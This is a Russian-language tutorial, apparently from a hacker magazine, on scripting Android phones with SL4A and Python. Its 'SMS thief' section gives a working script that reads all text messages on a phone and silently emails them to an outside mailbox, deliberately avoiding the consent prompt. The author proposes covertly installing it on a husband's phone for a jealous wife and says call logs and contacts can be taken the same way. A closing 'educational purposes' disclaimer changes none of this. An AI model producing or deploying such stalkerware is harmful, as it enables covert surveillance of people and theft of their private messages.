Содержание статьи
Устройства на базе ОС Android завоевали большую популярность и привлекают к себе все больше внимания. К сожалению, кодинг под эту платформу требует определенных специфических навыков и знаний. А ведь часто бывает нужно всего лишь накидать небольшой скрипт на любимом Python или Ruby! SL4A готов помочь тебе в этом.
Преамбула
SL4A представляет собой среду разработки для мобильных телефонов на базе Android. Она позволяет создавать, редактировать и выполнять скрипты на следующих языках: Python, Perl, JRuby, Lua, BeanShell, JavaScript, Tcl. Также в ней реализовано API, которое дает доступ практически ко всем функциям и параметрам системы Android, и даже позволяет создавать элементы пользовательского интерфейса. Таким образом, мы имеем возможность писать относительно полноценные программы для данной платформы на привычном языке программирования. Как видишь, перед нами не просто текстовый редактор плюс командная строка, а полноценная платформа, на основе которой при желании можно серьезно расширить функциональность своего телефона. Проект открытый, и имеет вокруг себя относительно крупное и активное сообщество. Несмотря на то, что на момент написания статьи данный продукт еще находился в alpha-версии, на нем реализовано некоторое количество весьма интересных вещей. Например, управление роботами при помощи мобильного телефона, подробнее можно узнать об этом в блоге cellbots.com.
Установка
Она происходит в два этапа: сначала нужно скачать и установить саму SL4A, затем из-под нее инсталлировать android-версию нужного тебе скриптового языка. Скачать apk-файл можно на сайте проекта. Следующим пунктом нужно установить приложение, предварительно включив в настройках "Доверять неизвестным источникам". После запуска мы увидим перед собой темное окошко безо всякой дополнительной информации. Вызываем меню и выбираем View.. Interpreters. В данном случае у нас будет доступен только Shell – командная строка, в которой выполняется большинство unix-команд. Чтобы установить интересующий тебя скриптовый язык, опять вызывай меню, нажимай Add, и перед тобой предстанет список доступных языков. Выбор любого из них приведет к скачиванию установочного apk-файла. Меня интересует язык Python, поэтому я выбрал и установил его. Также ты можешь скачать любые необходимые файлы на сайте проекта, либо забрать их с диска. После установки в телефоне появится приложение Python for Android, запустив которое, ты увидишь единственную кнопочку "Install", по нажатию на которую, программа скачает и распакует все необходимые ей файлы. Теперь, если снова зайти в SL4A, ты обнаружишь, что в ней появились несколько весьма полезных примеров скриптов на Python. Теперь можно со спокойной душой приступать к самому интересному – кодингу.
Hello world!
Несмотря на то, что написание Hello World — занятие несложное практически на любом языке программирования, я рассмотрю данный пример с той целью, чтобы разъяснить некоторые особенности работы в программе. Давай снова зайдем в список интерпретаторов (Меню .. View .. Interpreters), там у нас уже должен появиться Python. Запустим его, откроется привычная командная строка, где ты можешь написать print "Hello world" и убедиться, что все работает.
Аналогичным образом ты можешь выполнять любые команды, а когда наиграешься — закрывай терминал командой exit() и будь готов капельку усложнить представленный пример. Вернись из меню интерпретаторов в основное окно, вызови меню, нажми Add .. Python, и программа создаст нам новый py–файл, в котором по умолчанию будут следующие строки:
import android
droid = android.Android()
Смысл их, думаю, понятен: импортируется модуль, предоставляющий функционал работы с системой, и создается объект droid. Теперь — самое интересное: мы также можем написать в файле print "Hello world", а можем вывести hello world в системном alert-окошке при помощи API. Код для этого будет выглядеть следующим образом:
import android
droid = android.Android()
здороваемся обычным способом
h = "hello world"
print h
здороваемся при помощи API
droid.dialogCreateAlert(h, h)
droid.dialogShow()
Результат выполнения этой программы можно увидеть на скриншоте. DialogCreateAlert имеет два параметра: заголовок и тело сообщения. Также уведомить пользователя можно быстрым и небольшим сообщением makeToast ("Твое сообщение").
Таким образом перед нами предстает простая и мощная система для построения собственных приложений или написания скриптов для облегчения каких-либо повседневных задач, при этом тебе ничего не требуется, кроме собственного телефона! Чтобы облегчить нам жизнь, разработчики встроили API browser, при помощи которого можно быстро находить и добавлять необходимые команды. Чтобы добавить требуемую команду, нужно задолбить ее долгим нажатием, и в появившемся меню нажать <Insert>. Таким образом создание даже довольно сложных скриптов не покажется тебе особенно устрашающим. Теперь, для закрепления пройденного материала, рассмотрим "боевой" пример.
SMS-вор
Предлагаю для практики написать скрипт, который соберет все SMS у незадачливого пользователя и отправит их нам на почту.
# -- coding: utf-8 --
import android, smtplib, os
droid = android.Android()
Необходимые переменные
mailfrom = "откуда отправлять"
mailto = "куда отправлять"
lines = ""
получаем сообщения
result = droid.smsGetMessages(False)
обрабатываем результат и формируем тело письма
for f in result[1]:
for value in f.values():
lines = lines+str(value.encode('utf-8'))+ 'n'
print lines
отсылаем полученные данные на почту
mailSend = smtplib.SMTP("smtp.gmail.com",587)
mailSend.ehlo()
mailSend.starttls()
mailSend.ehlo()
mailSend.login(mailfrom,"пароль от ящика")
mailSend.sendmail(mailfrom, mailto, lines)
mailSend.close()
Как видишь, скрипт получился довольно простым. Давай пробежимся по нему и разъясним основные моменты.
В переменные mailfrom и mailto нужно забить адреса ящиков, с которых ты будешь отправлять и на которые будешь принимать письма, соответственно. Затем при помощи команды smsGetMessages() забираем сообщения. В качестве параметра ей надо указать, передавать ли только непрочитанные (True), или все сообщения (False). На будущее замечу, что у данной функции также есть и второй, необязательный параметр: inbox (по умолчанию) — из какой папки читать сообщения, в данном случае — входящие. После выполнения в переменную result запишется список, который состоит из списка словарей. Звучит запутанно, поэтому смотри код. Первый список — result, список SMS содержится в первом его элементе, поэтому в дальнейшем я работаю только со списком result[1], в котором каждый элемент — это словарь, а каждый словарь содержит SMS, номер телефона и ID сообщения. Ключи меня не сильно интересуют, поэтому я извлекаю только значения из каждого словаря и записываю их в строку, которая затем будет отправлена по почте. Для отправки по почте в API SL4A есть команда sendEmail(), но она требует участия пользователя, который вряд ли захочет, чтобы его входящие SMS отправились неизвестно кому. Поэтому подключаем smtplib и отправляем письмо самостоятельно. Ты можешь отправить это письмо самому себе или на другой ящик.
Где такой пример может пригодиться? Допустим, ты частный детектив, и очередная ревнивая жена попросила выяснить, что пишут ее мужу юные любовницы. Данный скрипт можно преобразовать в apk-файл (подробности здесь), установить в телефон нерадивому супругу, а жене на почту будут приходить все планы будущих прелюбодеяний :).
Заключение
Помимо эсэмэсок, аналогичным способом при помощи API (вся необходимая инфа также есть на сайте проекта) можно выцепить из памяти телефона историю звонков, список контактов и многое другое. Думаю, что я уже дал тебе достаточно информации для твоих изощренных кодерских фантазий, дерзай комрад!
Warning
Все действия описаны исключительно в образовательных целях, автор и редакция не несут никакой ответственности за твои действия.